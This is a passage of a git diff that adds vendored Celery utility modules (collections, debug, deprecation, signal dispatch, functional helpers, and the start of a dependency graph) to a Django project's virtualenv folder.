size=len(self), + ) + + def __iter__(self): + # type: () -> Iterable + return (i for _, i in sorted(self._data.values())) + + def __len__(self): + # type: () -> int + return len(self._data) + + def __contains__(self, key): + # type: (Any) -> bool + return key in self._data + + def __reduce__(self): + # type: () -> Any + return self.__class__, ( + self.maxlen, self.expires, self.as_dict(), self.minlen) + + def __bool__(self): + # type: () -> bool + return bool(self._data) + __nonzero__ = __bool__ # Py2 + + @property + def _heap_overload(self): + # type: () -> float + """Compute how much is heap bigger than data [percents].""" + return len(self._heap) * 100 / max(len(self._data), 1) - 100 + + +MutableSet.register(LimitedSet) + + +class Evictable: + """Mixin for classes supporting the ``evict`` method.""" + + Empty = Empty + + def evict(self): + # type: () -> None + """Force evict until maxsize is enforced.""" + self._evict(range=count) + + def _evict(self, limit=100, range=range): + # type: (int) -> None + try: + [self._evict1() for _ in range(limit)] + except IndexError: + pass + + def _evict1(self): + # type: () -> None + if self._evictcount <= self.maxsize: + raise IndexError() + try: + self._pop_to_evict() + except self.Empty: + raise IndexError() + + +class Messagebuffer(Evictable): + """A buffer of pending messages.""" + + Empty = Empty + + def __init__(self, maxsize, iterable=None, deque=deque): + # type: (int, Iterable, Any) -> None + self.maxsize = maxsize + self.data = deque(iterable or []) + self._append = self.data.append + self._pop = self.data.popleft + self._len = self.data.__len__ + self._extend = self.data.extend + + def put(self, item): + # type: (Any) -> None + self._append(item) + self.maxsize and self._evict() + + def extend(self, it): + # type: (Iterable) -> None + self._extend(it) + self.maxsize and self._evict() + + def take(self, *default): + # type: (*Any) -> Any + try: + return self._pop() + except IndexError: + if default: + return default[0] + raise self.Empty() + + def _pop_to_evict(self): + # type: () -> None + return self.take() + + def __repr__(self): + # type: () -> str + return f'<{type(self).__name__}: {len(self)}/{self.maxsize}>' + + def __iter__(self): + # type: () -> Iterable + while 1: + try: + yield self._pop() + except IndexError: + break + + def __len__(self): + # type: () -> int + return self._len() + + def __contains__(self, item): + # type: () -> bool + return item in self.data + + def __reversed__(self): + # type: () -> Iterable + return reversed(self.data) + + def __getitem__(self, index): + # type: (Any) -> Any + return self.data[index] + + @property + def _evictcount(self): + # type: () -> int + return len(self) + + +Sequence.register(Messagebuffer) + + +class BufferMap(OrderedDict, Evictable): + """Map of buffers.""" + + Buffer = Messagebuffer + Empty = Empty + + maxsize = None + total = 0 + bufmaxsize = None + + def __init__(self, maxsize, iterable=None, bufmaxsize=1000): + # type: (int, Iterable, int) -> None + super().__init__() + self.maxsize = maxsize + self.bufmaxsize = 1000 + if iterable: + self.update(iterable) + self.total = sum(len(buf) for buf in self.items()) + + def put(self, key, item): + # type: (Any, Any) -> None + self._get_or_create_buffer(key).put(item) + self.total += 1 + self.move_to_end(key) # least recently used. + self.maxsize and self._evict() + + def extend(self, key, it): + # type: (Any, Iterable) -> None + self._get_or_create_buffer(key).extend(it) + self.total += len(it) + self.maxsize and self._evict() + + def take(self, key, *default): + # type: (Any, *Any) -> Any + item, throw = None, False + try: + buf = self[key] + except KeyError: + throw = True + else: + try: + item = buf.take() + self.total -= 1 + except self.Empty: + throw = True + else: + self.move_to_end(key) # mark as LRU + + if throw: + if default: + return default[0] + raise self.Empty() + return item + + def _get_or_create_buffer(self, key): + # type: (Any) -> Messagebuffer + try: + return self[key] + except KeyError: + buf = self[key] = self._new_buffer() + return buf + + def _new_buffer(self): + # type: () -> Messagebuffer + return self.Buffer(maxsize=self.bufmaxsize) + + def _LRUpop(self, *default): + # type: (*Any) -> Any + return self[self._LRUkey()].take(*default) + + def _pop_to_evict(self): + # type: () -> None + for _ in range(100): + key = self._LRUkey() + buf = self[key] + try: + buf.take() + except (IndexError, self.Empty): + # buffer empty, remove it from mapping. + self.pop(key) + else: + # we removed one item + self.total -= 1 + # if buffer is empty now, remove it from mapping. + if not len(buf): + self.pop(key) + else: + # move to least recently used. + self.move_to_end(key) + break + + def __repr__(self): + # type: () -> str + return f'<{type(self).__name__}: {self.total}/{self.maxsize}>' + + @property + def _evictcount(self): + # type: () -> int + return self.total diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/debug.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/debug.py new file mode 100644 index 00000000..3515dc84 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/debug.py @@ -0,0 +1,193 @@ +"""Utilities for debugging memory usage, blocking calls, etc.""" +import os +import sys +import traceback +from contextlib import contextmanager +from functools import partial +from pprint import pprint + +from celery.platforms import signals +from celery.utils.text import WhateverIO + +try: + from psutil import Process +except ImportError: + Process = None + +__all__ = ( + 'blockdetection', 'sample_mem', 'memdump', 'sample', + 'humanbytes', 'mem_rss', 'ps', 'cry', +) + +UNITS = ( + (2 ** 40.0, 'TB'), + (2 ** 30.0, 'GB'), + (2 ** 20.0, 'MB'), + (2 ** 10.0, 'KB'), + (0.0, 'b'), +) + +_process = None +_mem_sample = [] + + +def _on_blocking(signum, frame): + import inspect + raise RuntimeError( + f'Blocking detection timed-out at: {inspect.getframeinfo(frame)}' + ) + + +@contextmanager +def blockdetection(timeout): + """Context that raises an exception if process is blocking. + + Uses ``SIGALRM`` to detect blocking functions. + """ + if not timeout: + yield + else: + old_handler = signals['ALRM'] + old_handler = None if old_handler == _on_blocking else old_handler + + signals['ALRM'] = _on_blocking + + try: + yield signals.arm_alarm(timeout) + finally: + if old_handler: + signals['ALRM'] = old_handler + signals.reset_alarm() + + +def sample_mem(): + """Sample RSS memory usage. + + Statistics can then be output by calling :func:`memdump`. + """ + current_rss = mem_rss() + _mem_sample.append(current_rss) + return current_rss + + +def _memdump(samples=10): # pragma: no cover + S = _mem_sample + prev = list(S) if len(S) <= samples else sample(S, samples) + _mem_sample[:] = [] + import gc + gc.collect() + after_collect = mem_rss() + return prev, after_collect + + +def memdump(samples=10, file=None): # pragma: no cover + """Dump memory statistics. + + Will print a sample of all RSS memory samples added by + calling :func:`sample_mem`, and in addition print + used RSS memory after :func:`gc.collect`. + """ + say = partial(print, file=file) + if ps() is None: + say('- rss: (psutil not installed).') + return + prev, after_collect = _memdump(samples) + if prev: + say('- rss (sample):') + for mem in prev: + say(f'- > {mem},') + say(f'- rss (end): {after_collect}.') + + +def sample(x, n, k=0): + """Given a list `x` a sample of length ``n`` of that list is returned. + + For example, if `n` is 10, and `x` has 100 items, a list of every tenth. + item is returned. + + ``k`` can be used as offset. + """ + j = len(x) // n + for _ in range(n): + try: + yield x[k] + except IndexError: + break + k += j + + +def hfloat(f, p=5): + """Convert float to value suitable for humans. + + Arguments: + f (float): The floating point number. + p (int): Floating point precision (default is 5). + """ + i = int(f) + return i if i == f else '{0:.{p}}'.format(f, p=p) + + +def humanbytes(s): + """Convert bytes to human-readable form (e.g., KB, MB).""" + return next( + f'{hfloat(s / div if div else s)}{unit}' + for div, unit in UNITS if s >= div + ) + + +def mem_rss(): + """Return RSS memory usage as a humanized string.""" + p = ps() + if p is not None: + return humanbytes(_process_memory_info(p).rss) + + +def ps(): # pragma: no cover + """Return the global :class:`psutil.Process` instance. + + Note: + Returns :const:`None` if :pypi:`psutil` is not installed. + """ + global _process + if _process is None and Process is not None: + _process = Process(os.getpid()) + return _process + + +def _process_memory_info(process): + try: + return process.memory_info() + except AttributeError: + return process.get_memory_info() + + +def cry(out=None, sepchr='=', seplen=49): # pragma: no cover + """Return stack-trace of all active threads. + + See Also: + Taken from https://gist.github.com/737056. + """ + import threading + + out = WhateverIO() if out is None else out + P = partial(print, file=out) + + # get a map of threads by their ID so we can print their names + # during the traceback dump + tmap = {t.ident: t for t in threading.enumerate()} + + sep = sepchr * seplen + for tid, frame in sys._current_frames().items(): + thread = tmap.get(tid) + if not thread: + # skip old junk (left-overs from a fork) + continue + P(f'{thread.name}') + P(sep) + traceback.print_stack(frame, file=out) + P(sep) + P('LOCAL VARIABLES') + P(sep) + pprint(frame.f_locals, stream=out) + P('\n') + return out.getvalue() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/deprecated.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/deprecated.py new file mode 100644 index 00000000..a08b08b9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/deprecated.py @@ -0,0 +1,113 @@ +"""Deprecation utilities.""" +import warnings + +from vine.utils import wraps + +from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning + +__all__ = ('Callable', 'Property', 'warn') + + +PENDING_DEPRECATION_FMT = """ + {description} is scheduled for deprecation in \ + version {deprecation} and removal in version v{removal}. \ + {alternative} +""" + +DEPRECATION_FMT = """ + {description} is deprecated and scheduled for removal in + version {removal}. {alternative} +""" + + +def warn(description=None, deprecation=None, + removal=None, alternative=None, stacklevel=2): + """Warn of (pending) deprecation.""" + ctx = {'description': description, + 'deprecation': deprecation, 'removal': removal, + 'alternative': alternative} + if deprecation is not None: + w = CPendingDeprecationWarning(PENDING_DEPRECATION_FMT.format(**ctx)) + else: + w = CDeprecationWarning(DEPRECATION_FMT.format(**ctx)) + warnings.warn(w, stacklevel=stacklevel) + + +def Callable(deprecation=None, removal=None, + alternative=None, description=None): + """Decorator for deprecated functions. + + A deprecation warning will be emitted when the function is called. + + Arguments: + deprecation (str): Version that marks first deprecation, if this + argument isn't set a ``PendingDeprecationWarning`` will be + emitted instead. + removal (str): Future version when this feature will be removed. + alternative (str): Instructions for an alternative solution (if any). + description (str): Description of what's being deprecated. + """ + def _inner(fun): + + @wraps(fun) + def __inner(*args, **kwargs): + from .imports import qualname + warn(description=description or qualname(fun), + deprecation=deprecation, + removal=removal, + alternative=alternative, + stacklevel=3) + return fun(*args, **kwargs) + return __inner + return _inner + + +def Property(deprecation=None, removal=None, + alternative=None, description=None): + """Decorator for deprecated properties.""" + def _inner(fun): + return _deprecated_property( + fun, deprecation=deprecation, removal=removal, + alternative=alternative, description=description or fun.__name__) + return _inner + + +class _deprecated_property: + + def __init__(self, fget=None, fset=None, fdel=None, doc=None, **depreinfo): + self.__get = fget + self.__set = fset + self.__del = fdel + self.__name__, self.__module__, self.__doc__ = ( + fget.__name__, fget.__module__, fget.__doc__, + ) + self.depreinfo = depreinfo + self.depreinfo.setdefault('stacklevel', 3) + + def __get__(self, obj, type=None): + if obj is None: + return self + warn(**self.depreinfo) + return self.__get(obj) + + def __set__(self, obj, value): + if obj is None: + return self + if self.__set is None: + raise AttributeError('cannot set attribute') + warn(**self.depreinfo) + self.__set(obj, value) + + def __delete__(self, obj): + if obj is None: + return self + if self.__del is None: + raise AttributeError('cannot delete attribute') + warn(**self.depreinfo) + self.__del(obj) + + def setter(self, fset): + return self.__class__(self.__get, fset, self.__del, **self.depreinfo) + + def deleter(self, fdel): + return self.__class__(self.__get, self.__set, fdel, **self.depreinfo) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/__init__.py new file mode 100644 index 00000000..b9329a7e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/__init__.py @@ -0,0 +1,4 @@ +"""Observer pattern.""" +from .signal import Signal + +__all__ = ('Signal',) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/signal.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/signal.py new file mode 100644 index 00000000..0cfa6127 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/dispatch/signal.py @@ -0,0 +1,354 @@ +"""Implementation of the Observer pattern.""" +import sys +import threading +import warnings +import weakref +from weakref import WeakMethod + +from kombu.utils.functional import retry_over_time + +from celery.exceptions import CDeprecationWarning +from celery.local import PromiseProxy, Proxy +from celery.utils.functional import fun_accepts_kwargs +from celery.utils.log import get_logger +from celery.utils.time import humanize_seconds + +__all__ = ('Signal',) + +logger = get_logger(__name__) + + +def _make_id(target): # pragma: no cover + if isinstance(target, Proxy): + target = target._get_current_object() + if isinstance(target, (bytes, str)): + # see Issue #2475 + return target + if hasattr(target, '__func__'): + return id(target.__func__) + return id(target) + + +def _boundmethod_safe_weakref(obj): + """Get weakref constructor appropriate for `obj`. `obj` may be a bound method. + + Bound method objects must be special-cased because they're usually garbage + collected immediately, even if the instance they're bound to persists. + + Returns: + a (weakref constructor, main object) tuple. `weakref constructor` is + either :class:`weakref.ref` or :class:`weakref.WeakMethod`. `main + object` is the instance that `obj` is bound to if it is a bound method; + otherwise `main object` is simply `obj. + """ + try: + obj.__func__ + obj.__self__ + # Bound method + return WeakMethod, obj.__self__ + except AttributeError: + # Not a bound method + return weakref.ref, obj + + +def _make_lookup_key(receiver, sender, dispatch_uid): + if dispatch_uid: + return (dispatch_uid, _make_id(sender)) + else: + return (_make_id(receiver), _make_id(sender)) + + +NONE_ID = _make_id(None) + +NO_RECEIVERS = object() + +RECEIVER_RETRY_ERROR = """\ +Could not process signal receiver %(receiver)s. Retrying %(when)s...\ +""" + + +class Signal: # pragma: no cover + """Create new signal. + + Keyword Arguments: + providing_args (List): A list of the arguments this signal can pass + along in a :meth:`send` call. + use_caching (bool): Enable receiver cache. + name (str): Name of signal, used for debugging purposes. + """ + + #: Holds a dictionary of + #: ``{receiverkey (id): weakref(receiver)}`` mappings. + receivers = None + + def __init__(self, providing_args=None, use_caching=False, name=None): + self.receivers = [] + self.providing_args = set( + providing_args if providing_args is not None else []) + self.lock = threading.Lock() + self.use_caching = use_caching + self.name = name + # For convenience we create empty caches even if they are not used. + # A note about caching: if use_caching is defined, then for each + # distinct sender we cache the receivers that sender has in + # 'sender_receivers_cache'. The cache is cleaned when .connect() or + # .disconnect() is called and populated on .send(). + self.sender_receivers_cache = ( + weakref.WeakKeyDictionary() if use_caching else {} + ) + self._dead_receivers = False + + def _connect_proxy(self, fun, sender, weak, dispatch_uid): + return self.connect( + fun, sender=sender._get_current_object(), + weak=weak, dispatch_uid=dispatch_uid, + ) + + def connect(self, *args, **kwargs): + """Connect receiver to sender for signal. + + Arguments: + receiver (Callable): A function or an instance method which is to + receive signals. Receivers must be hashable objects. + + if weak is :const:`True`, then receiver must be + weak-referenceable. + + Receivers must be able to accept keyword arguments. + + If receivers have a `dispatch_uid` attribute, the receiver will + not be added if another receiver already exists with that + `dispatch_uid`. + + sender (Any): The sender to which the receiver should respond. + Must either be a Python object, or :const:`None` to + receive events from any sender. + + weak (bool): Whether to use weak references to the receiver. + By default, the module will attempt to use weak references to + the receiver objects. If this parameter is false, then strong + references will be used. + + dispatch_uid (Hashable): An identifier used to uniquely identify a + particular instance of a receiver. This will usually be a + string, though it may be anything hashable. + + retry (bool): If the signal receiver raises an exception + (e.g. ConnectionError), the receiver will be retried until it + runs successfully. A strong ref to the receiver will be stored + and the `weak` option will be ignored. + """ + def _handle_options(sender=None, weak=True, dispatch_uid=None, + retry=False): + + def _connect_signal(fun): + + options = {'dispatch_uid': dispatch_uid, + 'weak': weak} + + def _retry_receiver(retry_fun): + + def _try_receiver_over_time(*args, **kwargs): + def on_error(exc, intervals, retries): + interval = next(intervals) + err_msg = RECEIVER_RETRY_ERROR % \ + {'receiver': retry_fun, + 'when': humanize_seconds(interval, 'in', ' ')} + logger.error(err_msg) + return interval + + return retry_over_time(retry_fun, Exception, args, + kwargs, on_error) + + return _try_receiver_over_time + + if retry: + options['weak'] = False + if not dispatch_uid: + # if there's no dispatch_uid then we need to set the + # dispatch uid to the original func id so we can look + # it up later with the original func id + options['dispatch_uid'] = _make_id(fun) + fun = _retry_receiver(fun) + + self._connect_signal(fun, sender, options['weak'], + options['dispatch_uid']) + return fun + + return _connect_signal + + if args and callable(args[0]): + return _handle_options(*args[1:], **kwargs)(args[0]) + return _handle_options(*args, **kwargs) + + def _connect_signal(self, receiver, sender, weak, dispatch_uid): + assert callable(receiver), 'Signal receivers must be callable' + if not fun_accepts_kwargs(receiver): + raise ValueError( + 'Signal receiver must accept keyword arguments.') + + if isinstance(sender, PromiseProxy): + sender.__then__( + self._connect_proxy, receiver, sender, weak, dispatch_uid, + ) + return receiver + + lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) + + if weak: + ref, receiver_object = _boundmethod_safe_weakref(receiver) + receiver = ref(receiver) + weakref.finalize(receiver_object, self._remove_receiver) + + with self.lock: + self._clear_dead_receivers() + for r_key, _ in self.receivers: + if r_key == lookup_key: + break + else: + self.receivers.append((lookup_key, receiver)) + self.sender_receivers_cache.clear() + + return receiver + + def disconnect(self, receiver=None, sender=None, weak=None, + dispatch_uid=None): + """Disconnect receiver from sender for signal. + + If weak references are used, disconnect needn't be called. + The receiver will be removed from dispatch automatically. + + Arguments: + receiver (Callable): The registered receiver to disconnect. + May be none if `dispatch_uid` is specified. + + sender (Any): The registered sender to disconnect. + + weak (bool): The weakref state to disconnect. + + dispatch_uid (Hashable): The unique identifier of the receiver + to disconnect. + """ + if weak is not None: + warnings.warn( + 'Passing `weak` to disconnect has no effect.', + CDeprecationWarning, stacklevel=2) + + lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) + + disconnected = False + with self.lock: + self._clear_dead_receivers() + for index in range(len(self.receivers)): + (r_key, _) = self.receivers[index] + if r_key == lookup_key: + disconnected = True + del self.receivers[index] + break + self.sender_receivers_cache.clear() + return disconnected + + def has_listeners(self, sender=None): + return bool(self._live_receivers(sender)) + + def send(self, sender, **named): + """Send signal from sender to all connected receivers. + + If any receiver raises an error, the exception is returned as the + corresponding response. (This is different from the "send" in + Django signals. In Celery "send" and "send_robust" do the same thing.) + + Arguments: + sender (Any): The sender of the signal. + Either a specific object or :const:`None`. + **named (Any): Named arguments which will be passed to receivers. + + Returns: + List: of tuple pairs: `[(receiver, response), … ]`. + """ + responses = [] + if not self.receivers or \ + self.sender_receivers_cache.get(sender) is NO_RECEIVERS: + return responses + + for receiver in self._live_receivers(sender): + try: + response = receiver(signal=self, sender=sender, **named) + except Exception as exc: # pylint: disable=broad-except + if not hasattr(exc, '__traceback__'): + exc.__traceback__ = sys.exc_info()[2] + logger.exception( + 'Signal handler %r raised: %r', receiver, exc) + responses.append((receiver, exc)) + else: + responses.append((receiver, response)) + return responses + send_robust = send # Compat with Django interface. + + def _clear_dead_receivers(self): + # Warning: caller is assumed to hold self.lock + if self._dead_receivers: + self._dead_receivers = False + new_receivers = [] + for r in self.receivers: + if isinstance(r[1], weakref.ReferenceType) and r[1]() is None: + continue + new_receivers.append(r) + self.receivers = new_receivers + + def _live_receivers(self, sender): + """Filter sequence of receivers to get resolved, live receivers. + + This checks for weak references and resolves them, then returning only + live receivers. + """ + receivers = None + if self.use_caching and not self._dead_receivers: + receivers = self.sender_receivers_cache.get(sender) + # We could end up here with NO_RECEIVERS even if we do check this + # case in .send() prior to calling _Live_receivers() due to + # concurrent .send() call. + if receivers is NO_RECEIVERS: + return [] + if receivers is None: + with self.lock: + self._clear_dead_receivers() + senderkey = _make_id(sender) + receivers = [] + for (receiverkey, r_senderkey), receiver in self.receivers: + if r_senderkey == NONE_ID or r_senderkey == senderkey: + receivers.append(receiver) + if self.use_caching: + if not receivers: + self.sender_receivers_cache[sender] = NO_RECEIVERS + else: + # Note: we must cache the weakref versions. + self.sender_receivers_cache[sender] = receivers + non_weak_receivers = [] + for receiver in receivers: + if isinstance(receiver, weakref.ReferenceType): + # Dereference the weak reference. + receiver = receiver() + if receiver is not None: + non_weak_receivers.append(receiver) + else: + non_weak_receivers.append(receiver) + return non_weak_receivers + + def _remove_receiver(self, receiver=None): + """Remove dead receivers from connections.""" + # Mark that the self..receivers first has dead weakrefs. If so, + # we will clean those up in connect, disconnect and _live_receivers + # while holding self.lock. Note that doing the cleanup here isn't a + # good idea, _remove_receiver() will be called as a side effect of + # garbage collection, and so the call can happen wh ile we are already + # holding self.lock. + self._dead_receivers = True + + def __repr__(self): + """``repr(signal)``.""" + return f'<{type(self).__name__}: {self.name} providing_args={self.providing_args!r}>' + + def __str__(self): + """``str(signal)``.""" + return repr(self) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/functional.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/functional.py new file mode 100644 index 00000000..e8a8453c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/functional.py @@ -0,0 +1,392 @@ +"""Functional-style utilities.""" +import inspect +import sys +from collections import UserList +from functools import partial +from itertools import islice, tee, zip_longest + +from kombu.utils.functional import (LRUCache, dictfilter, is_list, lazy, + maybe_evaluate, maybe_list, memoize) +from vine import promise + +__all__ = ( + 'LRUCache', 'is_list', 'maybe_list', 'memoize', 'mlazy', 'noop', + 'first', 'firstmethod', 'chunks', 'padlist', 'mattrgetter', 'uniq', + 'regen', 'dictfilter', 'lazy', 'maybe_evaluate', 'head_from_fun', + 'maybe', 'fun_accepts_kwargs', +) + +FUNHEAD_TEMPLATE = """ +def {fun_name}({fun_args}): + return {fun_value} +""" + + +class DummyContext: + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + pass + + +class mlazy(lazy): + """Memoized lazy evaluation. + + The function is only evaluated once, every subsequent access + will return the same value. + """ + + #: Set to :const:`True` after the object has been evaluated. + evaluated = False + _value = None + + def evaluate(self): + if not self.evaluated: + self._value = super().evaluate() + self.evaluated = True + return self._value + + +def noop(*args, **kwargs): + """No operation. + + Takes any arguments/keyword arguments and does nothing. + """ + + +def pass1(arg, *args, **kwargs): + """Return the first positional argument.""" + return arg + + +def evaluate_promises(it): + for value in it: + if isinstance(value, promise): + value = value() + yield value + + +def first(predicate, it): + """Return the first element in ``it`` that ``predicate`` accepts. + + If ``predicate`` is None it will return the first item that's not + :const:`None`. + """ + return next( + (v for v in evaluate_promises(it) if ( + predicate(v) if predicate is not None else v is not None)), + None, + ) + + +def firstmethod(method, on_call=None): + """Multiple dispatch. + + Return a function that with a list of instances, + finds the first instance that gives a value for the given method. + + The list can also contain lazy instances + (:class:`~kombu.utils.functional.lazy`.) + """ + + def _matcher(it, *args, **kwargs): + for obj in it: + try: + meth = getattr(maybe_evaluate(obj), method) + reply = (on_call(meth, *args, **kwargs) if on_call + else meth(*args, **kwargs)) + except AttributeError: + pass + else: + if reply is not None: + return reply + + return _matcher + + +def chunks(it, n): + """Split an iterator into chunks with `n` elements each. + + Warning: + ``it`` must be an actual iterator, if you pass this a + concrete sequence will get you repeating elements. + + So ``chunks(iter(range(1000)), 10)`` is fine, but + ``chunks(range(1000), 10)`` is not. + + Example: + # n == 2 + >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 2) + >>> list(x) + [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10]] + + # n == 3 + >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 3) + >>> list(x) + [[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10]] + """ + for item in it: + yield [item] + list(islice(it, n - 1)) + + +def padlist(container, size, default=None): + """Pad list with default elements. + + Example: + >>> first, last, city = padlist(['George', 'Costanza', 'NYC'], 3) + ('George', 'Costanza', 'NYC') + >>> first, last, city = padlist(['George', 'Costanza'], 3) + ('George', 'Costanza', None) + >>> first, last, city, planet = padlist( + ... ['George', 'Costanza', 'NYC'], 4, default='Earth', + ... ) + ('George', 'Costanza', 'NYC', 'Earth') + """ + return list(container)[:size] + [default] * (size - len(container)) + + +def mattrgetter(*attrs): + """Get attributes, ignoring attribute errors. + + Like :func:`operator.itemgetter` but return :const:`None` on missing + attributes instead of raising :exc:`AttributeError`. + """ + return lambda obj: {attr: getattr(obj, attr, None) for attr in attrs} + + +def uniq(it): + """Return all unique elements in ``it``, preserving order.""" + seen = set() + return (seen.add(obj) or obj for obj in it if obj not in seen) + + +def lookahead(it): + """Yield pairs of (current, next) items in `it`. + + `next` is None if `current` is the last item. + Example: + >>> list(lookahead(x for x in range(6))) + [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, None)] + """ + a, b = tee(it) + next(b, None) + return zip_longest(a, b) + + +def regen(it): + """Convert iterator to an object that can be consumed multiple times. + + ``Regen`` takes any iterable, and if the object is an + generator it will cache the evaluated list on first access, + so that the generator can be "consumed" multiple times. + """ + if isinstance(it, (list, tuple)): + return it + return _regen(it) + + +class _regen(UserList, list): + # must be subclass of list so that json can encode. + + def __init__(self, it): + # pylint: disable=super-init-not-called + # UserList creates a new list and sets .data, so we don't + # want to call init here. + self.__it = it + self.__consumed = [] + self.__done = False + + def __reduce__(self): + return list, (self.data,) + + def __length_hint__(self): + return self.__it.__length_hint__() + + def __lookahead_consume(self, limit=None): + if not self.__done and (limit is None or limit > 0): + it = iter(self.__it) + try: + now = next(it) + except StopIteration: + return + self.__consumed.append(now) + # Maintain a single look-ahead to ensure we set `__done` when the + # underlying iterator gets exhausted + while not self.__done: + try: + next_ = next(it) + self.__consumed.append(next_) + except StopIteration: + self.__done = True + break + finally: + yield now + now = next_ + # We can break out when `limit` is exhausted + if limit is not None: + limit -= 1 + if limit <= 0: + break + + def __iter__(self): + yield from self.__consumed + yield from self.__lookahead_consume() + + def __getitem__(self, index): + if index < 0: + return self.data[index] + # Consume elements up to the desired index prior to attempting to + # access it from within `__consumed` + consume_count = index - len(self.__consumed) + 1 + for _ in self.__lookahead_consume(limit=consume_count): + pass + return self.__consumed[index] + + def __bool__(self): + if len(self.__consumed): + return True + + try: + next(iter(self)) + except StopIteration: + return False + else: + return True + + @property + def data(self): + if not self.__done: + self.__consumed.extend(self.__it) + self.__done = True + return self.__consumed + + def __repr__(self): + return "<{}: [{}{}]>".format( + self.__class__.__name__, + ", ".join(repr(e) for e in self.__consumed), + "..." if not self.__done else "", + ) + + +def _argsfromspec(spec, replace_defaults=True): + if spec.defaults: + split = len(spec.defaults) + defaults = (list(range(len(spec.defaults))) if replace_defaults + else spec.defaults) + positional = spec.args[:-split] + optional = list(zip(spec.args[-split:], defaults)) + else: + positional, optional = spec.args, [] + + varargs = spec.varargs + varkw = spec.varkw + if spec.kwonlydefaults: + kwonlyargs = set(spec.kwonlyargs) - set(spec.kwonlydefaults.keys()) + if replace_defaults: + kwonlyargs_optional = [ + (kw, i) for i, kw in enumerate(spec.kwonlydefaults.keys()) + ] + else: + kwonlyargs_optional = list(spec.kwonlydefaults.items()) + else: + kwonlyargs, kwonlyargs_optional = spec.kwonlyargs, [] + + return ', '.join(filter(None, [ + ', '.join(positional), + ', '.join(f'{k}={v}' for k, v in optional), + f'*{varargs}' if varargs else None, + '*' if (kwonlyargs or kwonlyargs_optional) and not varargs else None, + ', '.join(kwonlyargs) if kwonlyargs else None, + ', '.join(f'{k}="{v}"' for k, v in kwonlyargs_optional), + f'**{varkw}' if varkw else None, + ])) + + +def head_from_fun(fun, bound=False, debug=False): + """Generate signature function from actual function.""" + # we could use inspect.Signature here, but that implementation + # is very slow since it implements the argument checking + # in pure-Python. Instead we use exec to create a new function + # with an empty body, meaning it has the same performance as + # as just calling a function. + is_function = inspect.isfunction(fun) + is_callable = hasattr(fun, '__call__') + is_cython = fun.__class__.__name__ == 'cython_function_or_method' + is_method = inspect.ismethod(fun) + + if not is_function and is_callable and not is_method and not is_cython: + name, fun = fun.__class__.__name__, fun.__call__ + else: + name = fun.__name__ + definition = FUNHEAD_TEMPLATE.format( + fun_name=name, + fun_args=_argsfromspec(inspect.getfullargspec(fun)), + fun_value=1, + ) + if debug: # pragma: no cover + print(definition, file=sys.stderr) + namespace = {'__name__': fun.__module__} + # pylint: disable=exec-used + # Tasks are rarely, if ever, created at runtime - exec here is fine. + exec(definition, namespace) + result = namespace[name] + result._source = definition + if bound: + return partial(result, object()) + return result + + +def arity_greater(fun, n): + argspec = inspect.getfullargspec(fun) + return argspec.varargs or len(argspec.args) > n + + +def fun_takes_argument(name, fun, position=None): + spec = inspect.getfullargspec(fun) + return ( + spec.varkw or spec.varargs or + (len(spec.args) >= position if position else name in spec.args) + ) + + +def fun_accepts_kwargs(fun): + """Return true if function accepts arbitrary keyword arguments.""" + return any( + p for p in inspect.signature(fun).parameters.values() + if p.kind == p.VAR_KEYWORD + ) + + +def maybe(typ, val): + """Call typ on value if val is defined.""" + return typ(val) if val is not None else val + + +def seq_concat_item(seq, item): + """Return copy of sequence seq with item added. + + Returns: + Sequence: if seq is a tuple, the result will be a tuple, + otherwise it depends on the implementation of ``__add__``. + """ + return seq + (item,) if isinstance(seq, tuple) else seq + [item] + + +def seq_concat_seq(a, b): + """Concatenate two sequences: ``a + b``. + + Returns: + Sequence: The return value will depend on the largest sequence + - if b is larger and is a tuple, the return value will be a tuple. + - if a is larger and is a list, the return value will be a list, + """ + # find the type of the largest sequence + prefer = type(max([a, b], key=len)) + # convert the smallest list to the type of the largest sequence. + if not isinstance(a, prefer): + a = prefer(a) + if not isinstance(b, prefer): + b = prefer(b) + return a + b diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/graph.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/graph.py new file mode 100644 index 00000000..c1b0b55b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/graph.py @@ -0,0 +1,309 @@ +"""Dependency graph implementation.""" +from collections import Counter +from textwrap import dedent + +from kombu.utils.encoding import bytes_to_str, safe_str + +__all__ = ('DOT', 'CycleError', 'DependencyGraph', 'GraphFormatter') + + +class DOT: + """Constants related to the dot format.""" + + HEAD = dedent(""" + {IN}{type} {id} {{ + {INp}graph [{attrs}] + """) + ATTR = '{name}={value}' + NODE = '{INp}"{0}" [{attrs}]' + EDGE = '{INp}"{0}" {dir} "{1}" [{attrs}]' + ATTRSEP = ', ' + DIRS = {'graph': '--', 'digraph': '->'} + TAIL = '{IN}}}' + + +class CycleError(Exception): + """A cycle was detected in an acyclic graph.""" + + +class DependencyGraph: + """A directed acyclic graph of objects and their dependencies. + + Supports a robust topological sort + to detect the order in which they must be handled. + + Takes an optional iterator of ``(obj, dependencies)`` + tuples to build the graph from. + + Warning: + 